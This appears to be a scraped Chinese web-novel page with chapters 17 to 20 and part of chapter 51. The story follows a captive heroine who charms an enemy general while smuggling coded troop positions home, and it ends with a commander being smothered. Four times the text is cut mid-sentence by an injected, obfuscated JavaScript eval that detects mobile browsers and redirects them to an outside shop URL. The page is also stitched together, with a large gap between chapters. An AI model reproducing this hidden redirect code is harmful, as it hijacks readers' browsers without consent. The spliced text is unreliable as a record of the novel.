见他心情大好,苗悦趁热打铁,委屈道:“大帅须知,寻常人家娶妻,尚需三媒六聘。我石红玉好歹是城主之女,是爹爹捧在手心里长大的,从不曾短缺过分毫。如今这般已是委屈至极,若不能得我爹爹首肯,终究是名不正言不顺。” “这有何难。”贺连川大手一挥,“我立刻修书一封,派人给你爹送去。” 苗悦忙道:“不可!你昨日才伤了他,今日就去信要娶他女儿,他会怎么想?这封信,必须由我亲自来写。” 贺连川眯起眼,审视着她:“你亲自写?莫不是想将我军营布置,透露出去?” 苗悦受了莫大羞辱般,含泪斥道:“我原以为大帅是顶天立地的英雄豪杰,没想到竟也这般猜忌多疑。我被擒至今,连营帐都未曾踏出一步,如何得知你大营方位?再说,我写的信,难道大帅你会不先过目?” 眼泪噗噜噜地掉了下来,苗悦掩面抽泣。 “若大帅并非真心求娶,只是借此算计,不如现在就杀了我祭旗!” 纤细的肩膀轻轻颤动,梨花带雨,楚楚可怜。 贺连川莫名觉得自己理亏,原本的猜疑,在这突如其来的泪水面前,显得小题大做。 “我贺连川既开了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16800217|189686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自然是真心要娶你。行了行了,信由你来写。” 苗悦闻言,收起眼泪,含羞带怯。 “大帅这般体谅,红玉心中感念。既已应下婚事,从此便是夫妻一体,荣辱与共。” 这番小女儿情态,又与先前倔强刚烈的模样截然不同。 贺连川看得一怔,他常年混迹于行伍,何曾体会过这等欲语还休的婉转风情,心中不由觉得十分新奇,又有些说不清道不明的受用。 他语气不自觉地放软:“婚姻是大事,虽眼下不能立时三媒六聘放你归家,但在这营中,你若有什么需求,直说无妨,只要是我力所能及,必不推辞。” 苗悦道:“大帅既如此说,红玉确有一事,如鲠在喉,不吐不快。” 贺连川戒心又起,沉声道:“讲。” 苗悦抬起头,看向燕钊。 “这人背主求荣,害我爹爹,更在阵前擒我,令我颜面尽失。此人不杀,难泄我心头之恨!” 贺连川略感意外,随即失笑。 到底是年轻识浅,心心念念的,竟只是报复一个无足轻重的小卒,图一时之快。 这般心思单纯,确实容易掌控。 他摇头道:“他来投靠我,我便要护他周全。若因你一言就杀了,日后还有谁敢来归附。换一个。” 苗悦咬了咬唇,恨恨道:“既然不能杀,那就阉了他,让他此生再也抬不起头做人。” 燕钊实在受不了了,看向苗悦。 苗悦朝他挑挑眉。 贺连川哈哈大笑,觉得这小丫头狠辣得别具一格。 “你这要求与杀了他有何分别,不可不可,再换一个。” 苗悦气哼哼地别过脸去:“这也不行,那也不行。你要我有什么要求尽管提,真说出口却又百般推脱,毫无诚意。” 贺连川哄道:“你不就是想出出气吗?这样吧,”他指向燕钊,“成婚前,这个人就归你使唤。什么粗活、累活、脏活,你尽管指派他去做。这样行不行?” 苗悦撇着嘴,不情不愿地松口:“既然大帅这么说,那好吧。” 贺连川满意地转过头,递给燕钊一个安抚的眼神,道:“听见了没有?从今往后,石姑娘的话,就是我的话。” 燕钊闻言,立刻行军礼:“属下明白,全凭石姑娘吩咐。” 苗悦这才笑了,羞答答地看了贺连川一眼。 “其实我从小就想找一个像我爹一样英明神武的大丈夫。可惜我们铁屏寨上下都是粗人,大字不识,我爹看不上。那些和我年纪相仿,读过几日书的,我又看不上。只有像贺将军这般,既能打仗,又读过书的,才能让我爹爹满意。” 贺连川被苗悦哄得很开心,临走又嘱咐燕钊好好伺候。 燕钊送贺连川出帐再回来时,苗悦正拿着那个小瓷瓶,费力地给自己上药。 她两只手腕都伤得不轻,互相牵扯着,动作稍大就疼得钻心。 这疼她本可以忍的,但今时不同往日,她是贺连川亲口承认的“准夫人”,没必要委屈自己。 见燕钊进来,她抬起下巴,道:“过来帮我上药。” 上一回,她作为陈阿大,虽是父亲,对燕钊说话却要陪着小心,整日想着如何修复关系,妄图用亲情去感化他。 这一回,她是横山公主石红玉,是卢宁军“准夫人”,她谁也不想讨好。 燕钊走过来,接过药瓶,拔开塞子将药粉均匀地撒在伤口周围。 “你不是真的想嫁给他吧?”燕钊忽然开口,目光仍专注在伤口上。 苗悦挑眉,一双眸子亮得惊人,狡黠道:“我演技这么好,连你都骗过去了?” 燕钊动作一滞。 苗悦示意他再靠近些。燕钊未作多想,俯身凑近。 苗悦将声音压得很低,气息拂过他的耳畔。 “接下来,我们就这样……” 18.第 18 章 贺连川给的金疮药着实好用。不过一夜,苗悦腕上翻开的皮肉便已收口结痂,只是动作稍大仍会牵扯着疼,提笔写字还不行,给石关山报平安的信,只得再缓上一两日。 虽不能写字,却并不妨碍苗悦琢磨着如何折腾燕钊。 眼下她睡的,是直接铺在潮湿地面上的一堆干草。 苗悦对侍立一旁的燕钊抬了抬下巴:“这堆草我没法睡,你去做张像样的床来。” 燕钊沉默地看她一眼,转身出了营帐。 不多时,他扛着一块不知从何处寻来的厚木板回来了,腋下夹着几圈粗麻绳,手里拿着数条粗细不一的木棍。 他走到帐中空地,将东西放下,当着苗悦的面,用绳子将木板纵横固定,动作迅捷精准,每一个绳结都打得结实利落。 因着用力,他臂膀的肌肉透过衣衫清晰地绷紧、隆起,额角渗出了一层细密的汗珠。 十六岁的少年,身形依然清瘦,但那迥异于十岁时的力量感,已是藏不住了。 不过两刻钟,一张牢固的矮床便已成型。 燕钊将它安置在帐内最干燥平整的位置,又抱来干草铺得厚厚平平,最后用一块洗得发白的旧布铺在上头。 苗悦挑剔地打量了几眼。 床依然简陋,但木板表面被简单地打磨过,摸上去没有木刺,比她预想的要好得多。 这小子动手能力比小时候又强了不知多少。 她动了动鼻尖,随即皱起眉:“一股潮味儿,拿出去晒晒。” 燕钊绷着唇,看眼苗悦,然后走到床边,弯下腰,双臂一较力,竟将整张刚搭好的床抬了起来,将它搬到帐外,放在了日头最好的地方。 苗悦跟着走到帐口,说:“既然你力气这么大,那顺便把里头那些破凳子和桌子也搬出来晒晒吧。” 等那些家具在院中摆开,苗悦又挑剔道:“这边日头不足,那边风口太大,摆在这里像什么样子?挪一挪!” 燕钊一言不发,将沉重的矮床、木凳一件件重新挪动安置。 守门卫兵将这一幕尽收眼底。众人心中皆如明镜一般,这位石大小姐脾气骄纵,燕钊昔日叛出铁屏寨,还亲手擒了她,梁子结得深了。如今她得了势,必会狠狠折腾一番。搬家具算什么,只怕后面还有更累人的。 果不其然,到了晚上,苗悦又有了新名目。 她说自己连日心绪不宁,睡不安稳,听说这附近山林中长着一种安神的野草,非要燕钊立刻去采来。 燕钊趁着夜色提灯出营,在野地里摸索了半宿,直至后半夜,才带着一身露水和满手泥污回来,却被守帐的士兵拦在了帐外。 “石姑娘早已歇下了。”那士兵看好戏般,“有什么事,明日再说吧。” 军营之中,背主之人向来为人不齿,如今受这些折辱,在众人看来也是他咎由自取。 翌日清晨,燕钊将洗净的野草送去,苗悦只瞥了一眼,便嫌叶片蔫黄不新鲜,随手丢在一旁,命他重新去采。 午时,帐中不知从何处飞进一只粉蝶。苗悦大喜,叹营地生活实在枯燥,要燕钊去捕些彩蝶来给她解闷。 深秋时节,哪里去寻那么多蝴蝶。 燕钊在外奔波整日,只捉到寥寥几只,换来苗悦一通责骂。 两日的连番折腾,守卫士兵们都看在眼里,私下交换着心照不宣的眼神。 这位石大小姐对燕钊的磋磨,可真是毫不掩饰。 他们不知道的是,这磋磨马上就落到他们头上了。 这天夜里,苗悦穿着中衣,长发未束,凌乱地披在肩头,赤着双足,掀开帐帘走了出去。 不料,竟与帐外两名持矛守夜的士兵迎面撞个正着。 火光映照下,少女衣衫单薄,赤足散发的情形,让两名士兵一时愣住,慌忙低下头,不敢直视。 “啊——————” 苗悦发出一声惊骇至极的尖叫,在寂静的夜里格外刺耳。 那两名士兵何曾见过这等阵仗,顿时手足无措,僵在原地。 贺连川与高世衡闻声匆匆赶来,踏入帐内时,只见苗悦伏在桌面上,肩头剧烈耸动,哭得撕心裂肺。 她衣衫倒是完整,只是长发凌乱,模样凄惨可怜。 “怎么回事?!”贺连川眉头紧锁,呵问那两名士兵。 那两人面如土色,惊慌跪地。 苗悦抬起泪痕斑驳的脸,哽咽道:“我觉得帐中闷热,想出去透口气……谁知,谁知他们两个就站在帘子外,离得那么近!” 她一抽一抽地。 “我自幼便知女子名节重于性命,如今营帐外日夜守着这许多男子,叫我日后如何做人!” 她越说越伤心,又伏下去痛哭起来。 贺连川松了一口气,一时觉得她有些小题大做,军营之中哪来这么多讲究,但转念一想,她如此看重名节,说明家教严谨,心中不免又生出几分欢喜。 高世衡察言观色,上前一步,对着两名士兵厉声斥责:“混账东西!只是让你们在外护卫石姑娘周全,谁准你们站得这么近。惊扰了姑娘,该当何罪!下去各领二十军棍。” 斥退士兵后,他又转向苗悦,温言道:“此事实是我考虑不周,让你受委屈了。你看这样如何?从今夜起,守卫皆退至营帐一丈开外值守,绝不再靠近帐门半步。为了姑娘的安全着想,守卫人手还需保留,望姑娘体谅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16810561|189686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 苗悦看向贺连川。 贺连川沉吟片刻,点头应允:“就依老高所言。” 守卫退远些,全了姑娘家的颜面,大不了在树上埋伏两名弩手,料想也出不了岔子。 苗悦这才止住哭声,轻轻点了点头。 高世衡见状,心知这是难得的时机,便拱手道:“大帅,属下还有事,先行告退。” 贺连川抬步:“一起走吧。” 高世衡在他肩头猛推一把,贺连川一个踉跄又回到帐中。 高世衡道:“石姑娘受惊不小,大帅好生安抚。” 说罢,不待贺连川回应,便退了出去,还顺手将帐帘掩紧。 贺连川尴尬地站定,看着仍在抹泪的苗悦,搜肠刮肚,最后干咳一声。 “今晚这事,是下头人没规矩,你放心,以后绝不会再有这种事。说一丈外就是一丈外,谁敢再靠近,老子打断他的腿。” 苗悦抬起泪眼,依赖地望向他,轻声道:“大帅的话,红玉自然是信的。” 贺连川见她这般情态,心中受用,嘿嘿一笑,挠了挠脑袋,目光落在她手腕上,又找到了话题。 “你的伤,好些没?那个药很好用,一般这种小伤一天就好。” “好多了,多谢大帅挂心。”苗悦低声答。 “那就好,那就好。”贺连川点点头,“既如此,你就快点给你爹写信吧,早点把事情定下来。” 苗悦僵了下,嗔怪道:“大帅心心念念的,只有临峣城吧。” 贺连川坦率道:“我想进临峣城是真,想娶你也是真,这两件事,本就一体,有什么不对?” 苗悦道:“大帅放心,明日我便给爹爹写信。我虽不敢担保成亲后必定如何,但我爹疼我,银钱嫁妆上,断不会亏待了我。”她顿了顿,抬眼望向他,羞怯道,“只要大帅与我同心,红玉别无他求。” 贺连川心头一热,脱口赞道:“你……你这样儿,真好看。” 苗悦嗔道:“大帅这是拿我取笑呢。” “我说的都是实话。”贺连川着急地辩解,“怎么是取笑?” 苗悦忍俊不禁,觉得这人直愣得有些好笑。 “好了,大帅,快回去吧,我要歇息了。” 贺连川见她笑了,心情也松快起来,应了一声,转身大步离去。 苗悦站在帐口,目送着贺连川身影消失,视线不着痕迹地向四周扫视了一圈。 那些原本紧挨着营帐站岗的士兵,此刻都退到了一丈开外,在远处火把光晕的边缘站成了几个模糊的黑影。 苗悦弯唇,退回帐内。 日后与燕钊说话,不必再担心隔墙有耳了。 19.第 19 章 第二日,石红玉写给石关山的第一封信送到贺连川手中。 贺连川原本神色平静,看着看着嘴角竟扬起来,明明愉悦却又试图保持威严,待信看完,眼中已满是得意。 他将信纸递给高世衡,语气舒畅:“这丫头,总算说了几句明白话。” 高世衡纳闷地接过信,低头细看,只见石红玉一手字勉强算得端正,也有几分娟秀,只是笔力虚浮,实在上不得台面。 山匪的女儿,能写成这样,多理解吧。 “女儿鲁莽,致陷敌手,累父亲忧心,实是不孝。然请父亲万勿挂怀,此间一切,实出意料。卢宁军上下待女儿颇为礼遇,饮食起居,并无短缺苛待,贺连川将军更是明令约束,女儿日饮漱玉涧水,在此十分安稳。 只是营中伙食粗粝,终日面饼寡淡,肉食罕见,远不及家中滋味。女儿每每下咽,便分外思念寨中厨房的烟火气。若得方便,恳请爹爹差人送些米面肉蔬来,倘能再遣一位熟知女儿口味的火夫随行,则更慰心怀。 女儿每每思及自身任性累及爹爹,便羞愧难当,恳请爹爹万万以自身为重,切莫再为女儿行险,若爹爹因女儿而有丝毫闪失,女儿百死莫赎。 后厩那匹新得的雪蹄小马驹一线天,若得方便,还请父亲嘱咐马夫,每日晨光初起与正午时分,记得为它添上四十勺豆粕。 连日来,女儿冷眼旁观,贺连川其人,虽出身行伍,然行事自有章法,治军严明,待下亦称得上宽厚。更难得的是,其人性情直率,并非心怀鬼蜮之辈。女儿经此一劫,方知往日识见浅薄,心思亦有不同。 若终身有托,能得一如此磊落男儿,或许亦是幸事。然婚姻大事,非比儿戏,女儿深知其中利害,一切但凭父亲与二位叔叔做主。” 高世衡露出了然的笑容,附和道:“大帅英雄气概,石姑娘聪慧,日久自然心生钦慕。此信一出,石关山那边,想必也会重新权衡。” 贺连川满意地点点头:“看来,此事成矣。” 高世衡道:“只是米面粮油可,伙夫就免了吧。” 他提笔将伙夫一句划去,命人将信送走,随即又想起一事。 “石红玉对陈狗娃折腾得太过分了,营中上下都瞧在眼里。这事儿传出去,影响可不好,依我看,还是得稍微管管。” 贺连川摆手:“我答应她了,总不好反复,一个姑娘家再折腾能折腾到哪去。” “正因如此才更要管。若连自己营中都约束不住,任由未来的夫人凭私怨肆意妄为,传出去岂不让人笑话。况且,陈狗娃终究是投诚过来的人。寒了他的心,往后谁还敢来归附?由你出面稍作调停,既全了你的威信,也让石姑娘知道分寸,才是长久之计。” 贺连川摸着下巴:“你说得在理,回头我去说说她。还有,你私下告诉狗娃,让他咬牙忍着,这笔账,老子日后补给他。” 高世衡心领神会,赞道:“大帅英明!” 这天夜里,临峣城议事厅,几位当家连同寨中核心人物齐聚一堂。 信在众人手中传阅,厅内一时寂静。 三当家何文远最先开口,疑惑道:“大哥,这……这真是红玉的字?” 石关山眉头紧锁,仔细端详,片刻叹了口气:“唉,是有好几年没正经见她写过字了。女孩子家的字迹有变化,也属寻常。只是这信中的内容……”他顿了顿,眉头皱得更深,“着实古怪。” 程铁牛性急,猛地一拍桌子:“这信定是那贺连川逼着红玉写的!什么‘漱玉涧’、‘雪蹄马驹’,尽是些胡言乱语,想扰乱我们心神。” “不对。”何文远摇头,“若是作假,必会写些我们熟知的、易于取信的内容。可这‘漱玉涧’、‘一线天’,你我谁曾听过?还有后厩何时有过‘雪蹄小马驹’?这些莫名之物出现在信中,反倒显得刻意,像是……像是在向我们传递某种信息。” 石关山抬头:“文远说得在理,红玉定然是想告诉我们什么。都别愣着,仔细琢磨琢磨,这‘一线天’究竟是个什么东西?” 坐在角落沉默不语的程虎,忽然“啊”了一声,引得众人侧目。 他挠着头,不太确定地说:“我好像,好像有点印象。以前听寨里巡山小队那帮小子闲聊时,似乎提过‘一线天’这个词……” “巡山小队?”何文远精神一振,“陈狗娃也在卢宁军,他定是和红玉在一起,这信或许不全是红玉所写。” 石关山朝外面喊:“去把杨溪叫来!” 不多时,一个精干利落的少年人被引了进来,正是巡城小队副队长杨溪。 他虽不知何事,但见厅内气氛凝重,各位当家目光灼灼,不由得屏息。 石关山问:“巡城小队中可有‘雪蹄小马驹’?” 杨溪茫然:“从不曾听说。” 何文远又问:“那‘漱玉涧’、‘一线天’,你可知道?” 杨溪露出恍然之色,连忙点头:“回三当家,‘漱玉涧’和‘一线天’确是有的!就是老屏山中。” 程铁牛瞪大眼睛:“老子在老屏山几十年,怎不知有这些地方?” 杨溪道:“回二当家,都是咱们小队自己起的浑名,平日里叫顺口了。‘漱玉涧’是后山一处水塘,阳光晒后水温热,属下常在那洗澡,漱玉……”他不好意思道,“漱玉是我村里的姑娘,我觉得名字好听,就用了。” 程铁牛又问:“那一线天是什么?” 杨溪道:“一线天是进山隘口处一道极窄的石缝,抬头只见一线天光。队长常说那地方险要,若是被外人摸进来就麻烦了,得派弓弩手守着才好。” 石关山猛地一拍大腿:“对对对,狗娃是跟我提过,说一线天那块必须布防。” 何文远眼中光芒大盛,急道:“取老屏山的地图来。杨溪,你来指给我们看,‘漱玉涧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16814475|189686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’和‘一线天’究竟在何处?” 地图铺开,杨溪熟练地在图上标出位置。 当老屏山的地图与众人心中的临峣城周边地形逐渐重叠时,何文远的手指猛地停在某个点上,声音因激动而微微发颤。 “我明白了。‘日饮漱玉涧水’,红玉是在告诉我们,卢宁军大营的方位,相对于临峣城,就如同‘漱玉涧’在老屏山上的方位!” 他手指重重一点:“是西边!卢宁军的大营,根本不在他们日常叫阵的南门方向,而是扎在了临峣城的正西边。” 石关山一把抓过信纸,再看那句“晨光初起与正午时分,添上四十勺豆粕”,顿时豁然开朗:“晨光东升,正午南照,东、南两处‘一线天’,各布有四十名弩手。红玉这是把敌人的布防都摸清了。” 何文远道:“红玉被抓不过四五日,定被牢牢看守着,不可能摸得清这些,必是狗娃,他俩在一起。狗娃没有背叛我们,苦肉计还在进行。” 想通了关节要害,众人兴致大涨,纷纷围拢过来,细细研究。 过了两日,贺连川拿到石关山的回信。 开篇可谓火药味十足。石关山毫不客气地质问贺连川是否用了胁迫手段才让女儿写下那些倾慕之词,警告他莫要失了英雄气概,行下作之事。 信到中段提及军中伙食粗粝,石关山语气一转,言语间流露出纯粹的心疼。 他表示,无论信中所言是真是假,他都不愿女儿在营中受苦,因此决定向卢宁军赠送一批米面粮油肉食等补给。 但这馈赠并非无条件的。石关山要求赠送补给时必须让石红玉本人现身,亲眼确认女儿平安后,才会交付物资。并强调,若连这最基本的要求都无法满足,便证明贺连川毫无诚意,所议一切皆作罢。 在信的末尾,石关山告诉红玉,家中一切安好,“一线天”日日早中准时添加“四十勺豆粕”,从未短缺,让女儿不必为家中琐事担忧,安心照顾好自己。 贺连川带着这封软硬兼施的回信,来到苗悦营帐所在的院子。 甫一踏入,他便瞧见燕钊正费力地搬动一块足有磨盘大小的石头。 贺连川眉头一皱,喝问道:“你这是在做什么?” 燕钊放下石头,行礼回道:“回大帅,石姑娘吩咐,需用四楞见方的石头在院中摆出阵法,说是……有利于夫妻和睦,家宅兴旺。” 贺连川一听,本能地觉得这是无稽之谈,可“夫妻和睦,家宅兴旺”这八个字,却又像羽毛般轻轻搔过他心头。 他左右瞥了一眼,见远处守卫的士兵都偷偷朝这边张望,顿时觉得失了颜面,却又不好发作,冷哼一声,转身进了帐内。 苗悦正坐在桌前,见他进来,展颜一笑,唤道:“大帅来了!” 这一笑宛如春水解冻,顿时让贺连川心头那点不快烟消云散。 搬几块石头算什么,由她高兴吧。 20.第 20 章 贺连川将石关山的回信放在桌上:“你爹回信了。” 苗悦拆开来,仔细看完,再抬起头时,眼中已盈满泪水。 “爹爹定是担心死我了。我告诉你,将来你进了临峣城,少不得要被他好好刁难一番。” 贺连川呵呵一笑,浑不在意:“依你见,我该如何回?” “自是依我爹,让我与他见上一面,把东西接回来。”苗悦道,“难不成,你还怕我借机跑了?” 贺连川道:“周围都是弩手,怎么可能跑得掉。” 苗悦嗔道:“那你还担心什么,我石红玉虽是女儿,但也言出必行,‘嫁给你’这种话我都说出口了,岂会出尔反尔?” 贺连川嘿嘿一笑,道:“那我便与你爹约个时日。” 苗悦反问:“大帅打算将婚礼办在何处?” “自然是在我卢宁军大营。”贺连川答得理所当然。 苗悦脸上立刻浮现出委屈神色,嗔道:“我爹爹就我这么一个女儿,他疼我,早早便为我备下了丰厚的嫁妆。如今那些繁文缛节可以省去,可你迎娶的诚意总要有些吧?军中这般简陋,连块像样的红布都没有,难道要我披着这身旧衣嫁人不成?” 她越说越气,眼圈微微发红:“这婚若办得如此寒酸,我爹爹怎会点头?他不点头,你又如何进得了临峣城?” 贺连川被她问得一怔,道:“军中自是简陋些,你需要什么,我派人去买便是。” “我就那般不讲究?这荒郊野岭的上哪儿买去?”苗悦负气道。 贺连川问:“你要如何?总之,成婚前不可能放你回去。” 苗悦想了想,道:“不如这样,我去封信,让我爹爹在城中帮我采买齐全,一并送来。” 贺连川犹豫,如此一来,石红玉势必要频繁与临峣城通信,其中会不会另有变故? 正犹豫间,却见少女忽然伸手,轻轻扯住他袖角,脸颊飞起一抹红晕。 苗悦声音软软:“女儿家一辈子,最重要的便是出嫁这天。我心中早就偷偷设想过,我的丈夫,定是像你这般英勇伟岸的大英雄。我不希望留有遗憾。大帅,就当是为了我们往后的日子能有个圆满的开头,好不好?” 半是撒娇半是憧憬的话语,配上她那娇羞无限的神态,惹得贺连川心中一阵激荡,豪气顿生,当即拍板:“好!就依你!让你爹去置办。” 苗悦破涕为笑,甜甜赞道:“大帅对我真好!” 贺连川见她笑靥如花,心中也甚是舒畅。 “只要你与我同心,将来我必不会亏待于你,定让你过上比从前更风光的日子!” 这时,院中传来“咕咚”一声响,似是燕钊搬动的巨石落了地。 贺连川想起什么,问苗悦:“你那‘石阵促姻缘’的说法,可是真的?” 苗悦撇撇嘴:“我瞎编的。不然上哪儿找那么多事支使他?蝴蝶也抓过了,家具也晒过了。” 贺连川无奈道:“你这般折腾他,营中上下都瞧在眼里。好歹给他留点面子,也是给我留点体面。传出去说我连个手下都护不住,名声不好听。你给他安排些别的活计。” 苗悦眼珠一转:“那好,我不让他干粗活了,让他来给我研墨,这样总不算折辱他了吧?” “研墨?”贺连川将信将疑。 苗悦笑道:“研墨这活儿讲究可多了,水要几分,墨要几圈,力道是轻是重,研出的墨汁是浓是淡、是稠是稀,都大有学问。我要给爹爹写那么多信,商议婚仪采买,总得有个人帮我研墨吧?” 贺连川仍有顾虑:“可你们孤男寡女,终日同在帐中……” 苗悦笑他:“我刚来时,你还要他伺候周全,怎么不提孤男寡女了。” 贺连川道:“那时怎能与现在相提并论,现在你身份不一样。” 苗悦想了想,说:“要不这样,只要他在帐中研墨,我便不挂帘子,大大方方的,既全了规矩,也顾了你的面子。” 贺连川觉得此法倒也周全,便点头应允了,当即把燕钊叫进来,吩咐他接下来几日专心配合石红玉研墨写字。 燕钊垂首应下。 事情安排妥当,件件称心,苗悦又对贺连川娇媚一笑:“大帅待我这般体贴,红玉记在心里了。” 贺连川见她如此乖顺,心中大悦,又叮嘱了几句,这才心满意足地离去。 送走贺连川后,苗悦志得意满地坐回凳上,拿起信纸,笑道:“我本来还担心我爹他们看不懂信中意思,看来是我多虑了。” 石红玉的记忆中根本没有“漱玉涧水”“一线天”这些名称,都是燕钊说的。 她看向燕钊,本想夸他两句,却看到他微垂着头,脸上挂着一丝极淡却难以描述的揶揄笑意。 苗悦微怔,这还是她头一次在燕钊脸上看到如此鲜活的神情。 燕钊似有所察,抬起眼,恰与苗悦探究的视线对上。 他瞬间敛容,又恢复了惯有的淡漠的平静。 苗悦眯起眼,不肯放过他:“我看见了,你在笑什么?!” 燕钊抿了抿薄唇,知道躲不过去,只得道:“我只是觉得意外,原来横山公主也会用美人计。” 苗悦挑眉,优雅地折起信纸,笑道:“原来你也知道,我是个美人啊。” 她顿了顿,语气轻快地补充:“美人使美人计,不是天经地义么?” 燕钊脱离了搬石头的苦活,但研墨也绝非轻松事。 苗悦对他的挑剔变本加厉。 她总能找到由头斥责他研的墨不合心意,不是嫌墨色太淡,写出的字没有筋骨,就是嫌墨汁太稠,滞涩不通,污了她的纸。 燕钊只得守在砚台旁,几乎无休止地研磨。 守卫们常常听见苗悦的呵斥声,她将写字不顺频频废纸的缘故,全都归咎于燕钊研墨不佳。 加上此前两名同袍因站得太近被罚了军棍,如今所有守卫都学乖了,个个目不斜视,尽可能远离那顶帐子。 苗悦写字速度很慢,她是个贼,能认会写就够了,不需要练出什么字体,老贼头也没闲钱供她纸笔。 燕钊站在苗悦对面,侧对帐门,余光注视着外面的动静,一边研墨一边低声说话。 “老屏山一线天西去五里,有一片唤作‘野猪林’的坡地,这两处的方位与距离,正好对应着卢宁军粮草大营相对临峣城的位置。你就写,城东有家字号‘野猪林’的粮铺,他家的豆粕品质极佳,一线天最喜。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她语重心长地总结道:“越是有本事的人,越该明白这个道理。依附于朝廷,借助这股大势,才能将一身本领发挥到极致,博个真正的封妻荫子,青史留名。” 苗悦觉得自己太了不起了,居然能在身处敌营演着苦肉计的情形下,见缝插针的完成“思想渗透”的任务。 敬业,实在是敬业,她也就是没在现代社会活到成年,但凡她成年了,怎么着不得是个高级打工仔。 苗悦默默给自己点了个赞。 燕钊停下研墨的手,眼中满是诧异:“弩身、弩机、弦线都是什么东西?你怎么会知道?” 苗悦一时语塞。 这些知识全都来自李晏的培训。 燕钊之所以能成为一方枭雄,正是因为他改进了弩机,组建起一支令人生畏的弩骑兵。可以说,强大的弩军是他霸业的基石。 苗悦眼波一转,得意地说:“自然是贺连川告诉我的呀。他为了在我面前显摆他的本事,把他的弩军夸的天上有地下无。” 燕钊张口,还要追问。 苗悦抢先一步,笑道:“哪天我跟他要一把来,咱们研究研究,如何?” 这话果然转移了燕钊的注意力,他眼中光芒大盛,身体不自觉地前倾:“这么重要的武器,你能要到?” 苗悦朝他挤挤眼,揶揄道:“你知道的,美人计嘛。” 50-60 第51章 大军开拔, 旌旗招展,绵延数里。 燕九畴率老大燕定山老二燕承嗣为前军,一马当先, 为大军开辟道路。 燕钊所部的弩军,以及老七老八麾下的步骑混编, 缀在后面。 老三燕藏锋留守宁州。 由于弩军所需的箭矢弩机配件等一应后勤辎重极为特殊, 无法与主力部队混用, 加之部分笨重的弩车在山地林间跋涉艰难, 行军速度逊于步骑。 出发后不久, 各部之间便因速度差异, 拉开了一两天的距离。 大军前行了半个多月, 路程已过半。 连日阴雨,气候闷热异常,引发了严重的流感。兵卒中开始出现发热、咳嗽、浑身酸痛的症状。 年事已高又连日辛劳的燕九畴, 也病倒了。 起初只是畏寒乏力, 很快便高烧不退, 卧榻难起,偶尔清醒时也咳嗽不止, 声音嘶哑。 燕承嗣作为亲儿子,推掉大半军务, 在燕九畴帐中侍奉。 这天晚上,苗悦坐在燕九畴床边小憩。 韩诚端着一碗汤药,走了进来。 苗悦假意试了一口,轻轻唤道:“父帅,该用药了。” 她将燕九畴扶坐起来,一手揽着他,另一手端过药碗, 舀起一勺,轻轻吹凉,送到他唇边。 燕九畴就着她的手,慢慢将药汁咽下。 喂完药,苗悦又仔细地用帕子替他拭去嘴角的药渍,这才扶着他重新躺回榻上。 燕九畴吃过药,发了汗,又沉沉睡去。 韩诚将空碗接过,放在一旁,一直没离开。 等燕九畴睡着了,他俯身凑近苗悦,低声说:“大帅这病来得凶猛,若是就这么病逝在军中,任谁也说不出个不字。” 苗悦浑身一颤,她心里清楚,这是完成任务的关键一步,燕九畴要死了。 苗悦等这一天,已经等了很久。 可理智知道是一回事,真要去做,又是另一回事。 韩诚看出她的犹豫,劝道:“二郎,你什么都不用管,舅父会处理得干干净净,绝不会牵连到你。这万世骂名,这天大的罪孽,让舅父来替你担。” 苗悦的目光不由自主地落回榻上,惊恐地发现燕九畴正一瞬不瞬地盯着她。 那眼神里没有愤怒,没有恐惧,甚至没有惊愕,只有一种近乎死寂的平静。 苗悦心跳骤停,仿佛那些噩梦场景重现。 刻在燕承嗣骨子里的,对燕九畴的畏惧,深深影响了苗悦,让她后背冷汗直冒。 她强作镇定,低声问:“父帅,你醒了?” 燕九畴声音嘶哑,命令道:“去把你大哥……叫进来。” 苗悦下意识要起身,被韩诚一把按住肩膀。 “二郎。”韩诚摇摇头。 燕九畴眼中杀机毕现,用拉着风箱的断续嗓音骂道:“韩诚!你……你这狗奴……我看在嗣儿的份上……没杀你……是我的错……大错……” 他胸口剧烈起伏,盯着苗悦嘶叫:“兄弟相争,败亡之兆——” 他猛地咳嗽起来,喉咙里发出嗬嗬声,仿佛要将五脏六腑都咳出来。 韩诚脸色骤变,眼中闪过一丝疯狂的决绝,整个人扑了上去,抓起旁边厚重的锦被,狠狠捂住了燕九畴的口鼻。 燕九畴虽已病重,但求生本能爆发出的力量却大得惊人。 